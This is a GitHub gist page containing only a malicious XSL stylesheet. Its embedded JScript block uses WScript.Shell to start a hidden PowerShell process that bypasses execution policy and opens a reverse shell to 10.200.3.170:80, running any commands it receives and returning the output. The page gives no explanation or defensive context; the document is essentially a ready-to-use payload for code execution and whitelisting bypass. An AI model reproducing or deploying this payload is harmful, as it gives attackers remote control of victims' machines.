Skip to content

Instantly share code, notes, and snippets.

@padovah4ck
Last active October 17, 2018 01:18
Show Gist options
  • Save padovah4ck/a2d3e0bd0eb47fa504958e6ef4a11e36 to your computer and use it in GitHub Desktop.
Save padovah4ck/a2d3e0bd0eb47fa504958e6ef4a11e36 to your computer and use it in GitHub Desktop.
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -Command \"$client = New-Object System.Net.Sockets.TCPClient('10.200.3.170',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",0,true);
]]> </ms:script>
</stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment